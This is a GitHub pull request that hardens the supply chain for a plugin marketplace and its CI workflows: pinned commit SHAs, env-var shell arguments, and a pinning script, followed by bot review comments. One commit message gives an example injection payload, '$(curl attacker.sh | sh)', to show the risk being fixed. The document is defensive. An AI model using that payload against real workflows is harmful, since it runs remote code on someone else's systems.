Skip to content

fix(security): pin marketplace plugins, SHA-pin workflows, env-var shell args - #347

Merged
avifenesh merged 6 commits into
mainfrom
fix/security-hardening
Apr 26, 2026
Merged

fix(security): pin marketplace plugins, SHA-pin workflows, env-var shell args#347
avifenesh merged 6 commits into
mainfrom
fix/security-hardening

Conversation

@avifenesh

@avifenesh avifenesh commented Apr 26, 2026

Copy link
Copy Markdown
Collaborator

Summary

Internal audit (2026-04-26). 4 commits:

# Severity Finding Fix
1 HIGH 20 marketplace sub-plugins used unpinned `main` at install time — any sub-plugin compromise ships code to every user Pin to release tag + commit SHA via new `scripts/pin-marketplace.js`
2 MED `agent-sh/.github@main` reusable workflow not SHA-pinned SHA pinned
3 MED `${{ inputs.version }}` interpolated into 5 shell blocks Moved to `env:`
4 LOW Self-referential npm dep `"agentsys": "^5.0.0"` Removed

Marketplace pin status

  • Tag+SHA pinned: next-task (v1.1.1), repo-intel (v0.2.0), onboard (v0.1.0), can-i-help (v0.1.0)
  • SHA-only pinned (no matching `v` tag on remote): 16 plugins including agnix, ship, prepare-delivery, web-ctl, etc.

Once each sub-plugin cuts a proper `v` tag, re-run `node scripts/pin-marketplace.js` to upgrade SHA pins to tag+SHA pins.

Test plan

  • `node -e "JSON.parse(...)"` marketplace.json — valid
  • `js-yaml.load` for ci.yml + release.yml — valid
  • No test suite present (pre-existing)

Follow-up

  • After agent-analyzer/agnix/web-ctl land their security releases and cut tags, re-run `pin-marketplace.js` and ship agentsys v5.10.0 with upgraded pins.

Note

Medium Risk
Medium risk because it changes how marketplace plugins and reusable workflows are sourced (tag/SHA pinning) and tweaks release workflow shell variable handling, which could affect CI/release behavior if pins or env wiring are wrong.

Overview
Hardens supply-chain integrity for plugin installs and CI. Marketplace source: "url" entries in .claude-plugin/marketplace.json are now pinned to immutable refs by adding commit SHAs (and ref tags when available) instead of tracking default branches.

Adds scripts/pin-marketplace.js to automatically resolve v<version> tags to SHAs via gh, falling back to main’s HEAD SHA when no tag exists.

Locks down GitHub Actions usage. The reusable agnix workflow in ci.yml is SHA-pinned, and release.yml stops interpolating ${{ inputs.* }} directly in shell blocks by passing values via env variables. Also removes the self-referential agentsys dependency from package.json/package-lock.json.

Reviewed by Cursor Bugbot for commit 604bb16. Configure here.

Unpinned 'source: url' entries let Claude Code install the remote's default
branch (main) at plugin install time, which is a supply-chain compromise
vector: anyone with push access to one of the 20 sub-plugin repos could
ship arbitrary code to every agentsys user on next install.

Add scripts/pin-marketplace.js, which for each entry:
- looks up the GitHub tag matching the declared version (v<version>)
- if the tag exists, sets source.ref = tag AND source.commit = tag SHA
- if the tag does not exist yet, falls back to the current main HEAD SHA
  and prints a warning (pinning is still tamper-evident via commit)

Result: 4 plugins pinned to release tags (next-task, repo-intel, onboard,
can-i-help); 16 plugins pinned to main commit SHAs pending their first
release tag.

Re-run 'node scripts/pin-marketplace.js' after bumping any sub-plugin
version.
Using '@main' for a same-org reusable workflow means every CI run
re-resolves the ref and executes whatever is on agent-sh/.github main
at that moment. A compromised or accidentally broken main there would
execute against every PR in this repo.

Pin to the resolved commit SHA
(08a935dedfecab8524861c2db72526007445ba52) with a trailing '# main'
comment so Dependabot/Renovate can still update it.
…terpolation

Using ${{ inputs.version }} (and other ${{ ... }} expressions) directly
inside a run block's shell script means GitHub Actions interpolates the
raw value into the rendered script before bash sees it. A crafted input
like '$(curl attacker.sh | sh)' would execute during release.

Move all such expressions into per-step env: blocks so shell sees only
quoted variable references. Covers:
- Determine version (inputs.version)
- Validate version format (steps.version.outputs.version)
- Verify version consistency (steps.version.outputs.version)
- Create tag if needed (needs.validate.outputs.tag)
- Extract changelog for version (needs.validate.outputs.version)
package.json declared 'agentsys: ^5.0.0' as a dependency of the
agentsys package itself. npm would resolve this from the registry on
install, pulling a *different* copy of the package as a nested
dependency. Besides being wrong, it means users installing the
published package transitively pull an older v5.x of itself.

Remove the entry and regenerate package-lock.json.
Copilot AI review requested due to automatic review settings April 26, 2026 11:20

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces a new script, scripts/pin-marketplace.js, which pins marketplace plugin entries to specific release tags and commit SHAs to enhance supply-chain security. It also removes the agentsys dependency from the project. Review feedback suggests improving the repository URL regex to handle trailing slashes, using HEAD instead of hardcoding main for default branch resolution, and adding error handling within the plugin processing loop to prevent the script from terminating on individual failures.

Comment thread scripts/pin-marketplace.js Outdated
Comment thread scripts/pin-marketplace.js Outdated
Comment thread scripts/pin-marketplace.js

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Security hardening changes from an internal audit to reduce supply-chain risk in plugin installs and CI workflows by pinning third-party references and avoiding unsafe workflow expression interpolation in shell.

Changes:

  • Add scripts/pin-marketplace.js to automatically pin marketplace plugin sources to tag+SHA (or SHA fallback).
  • Update .claude-plugin/marketplace.json to include commit SHAs (and tag refs where available) for all marketplace plugins.
  • SHA-pin the reusable workflow reference in CI; remove self-referential agentsys npm dependency; move workflow inputs into env: for shell steps.

Reviewed changes

Copilot reviewed 5 out of 6 changed files in this pull request and generated 3 comments.

Show a summary per file
File Description
scripts/pin-marketplace.js New pinning script to resolve tags/SHAs via gh and write pinned marketplace entries.
.claude-plugin/marketplace.json Adds source.commit (and sometimes source.ref) to plugin entries for pinning.
.github/workflows/ci.yml Pins agent-sh/.github reusable workflow to a commit SHA.
.github/workflows/release.yml Moves version values from ${{ }} interpolation into env: variables inside shell steps.
package.json Removes self-referential agentsys dependency.
package-lock.json Removes the locked agentsys dependency entry accordingly.
Comments suppressed due to low confidence (1)

.github/workflows/release.yml:70

  • This step writes VERSION/TAG/NPM_TAG to $GITHUB_OUTPUT before any format validation. Because inputs.version is user-controlled on workflow_dispatch, newline characters could potentially inject additional outputs. Suggest validating/sanitizing INPUT_VERSION (reject \r/\n) before using it, and/or using the multiline-safe $GITHUB_OUTPUT heredoc format so untrusted values can't break the output file.
        env:
          INPUT_VERSION: ${{ inputs.version }}
        run: |
          if [ "${{ github.event_name }}" = "push" ]; then
            # Tag push - extract version from tag
            TAG="${GITHUB_REF#refs/tags/}"
            VERSION="${TAG#v}"
          elif [ -n "$INPUT_VERSION" ]; then
            # Manual dispatch with version input
            VERSION="$INPUT_VERSION"
            TAG="v${VERSION}"
          else
            # Manual dispatch without version - use package.json
            VERSION=$(node -p "require('./package.json').version")
            TAG="v${VERSION}"
          fi
          if [[ "$VERSION" == *"-"* ]]; then
            PRE_ID="${VERSION#*-}"
            PRE_ID="${PRE_ID%%.*}"
            case "$PRE_ID" in
              beta) NPM_TAG="beta";;
              rc) NPM_TAG="rc";;
              *) NPM_TAG="next";;
            esac
          else
            NPM_TAG="latest"
          fi
          echo "version=${VERSION}" >> $GITHUB_OUTPUT
          echo "tag=${TAG}" >> $GITHUB_OUTPUT
          echo "npm_tag=${NPM_TAG}" >> $GITHUB_OUTPUT

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread scripts/pin-marketplace.js Outdated
Comment thread .claude-plugin/marketplace.json
Comment thread scripts/pin-marketplace.js Outdated

@cursor cursor Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes and found 2 potential issues.

Fix All in Cursor

❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.

Reviewed by Cursor Bugbot for commit 604bb16. Configure here.

Comment thread scripts/pin-marketplace.js
Comment thread scripts/pin-marketplace.js Outdated
… ref, default-branch via HEAD, per-plugin error handling, tests

- resolveTagSha now calls `git/ref/tags/<tag>` (singular) to force an
  exact match. The plural `git/refs/tags/<tag>` endpoint does prefix
  matching and silently returns an array when multiple tags share a
  prefix, which could mis-pin a plugin. As defense in depth, explicitly
  reject array responses as ambiguous.
- parseOrgRepo regex now tolerates a trailing slash before `.git` or EOL
  so entries like `https://github.com/agent-sh/foo/` parse correctly.
- Fallback path now `delete src.ref` before setting `src.commit`. If a
  plugin loses its release tag (deleted for a security rewrite, etc.) we
  must not leave the old tag ref around, since downstream installers
  that prefer `ref` would otherwise ignore the new commit pin.
- Replace hardcoded `main` with the repo's default branch via
  `repos/<owner>/<repo>/commits/HEAD`, which GitHub resolves to whatever
  the default is (master / main / other).
- Wrap the per-plugin loop in try/catch. One plugin failing no longer
  terminates the whole run: we log the error, skip that plugin, and
  exit non-zero at the end if anything failed. We also don't rewrite
  marketplace.json on failure so a partial run can't ship a broken pin
  set.
- Add __tests__/pin-marketplace.test.js (14 tests) covering URL parsing
  edge cases, lightweight + annotated tag resolution, 404 handling,
  ambiguous-array rejection, and the stale-ref clearing behavior. `gh`
  is injected via setGhRunner so tests run without network.

Also address Copilot's note that this repo's dev CLI (bin/cli.js)
ignores `source.ref` / `source.commit` — those pins are authoritative
for Claude Code's plugin installer (the primary install path), which
honors them per the marketplace schema. agentsys's dev CLI is a
separate local-dev path; added a TODO comment pointing at the gap so a
follow-up can teach the dev installer to prefer commit/ref pins too.
Not fixed in this PR to keep it scoped to the pinning script.
agnix 5af38ee, web-ctl 5e420b8 (security-hardening PRs merged).
Copilot AI review requested due to automatic review settings April 26, 2026 12:41
@avifenesh
avifenesh merged commit b843815 into main Apr 26, 2026
11 checks passed
@avifenesh
avifenesh deleted the fix/security-hardening branch April 26, 2026 12:43

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 6 out of 8 changed files in this pull request and generated no new comments.


💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants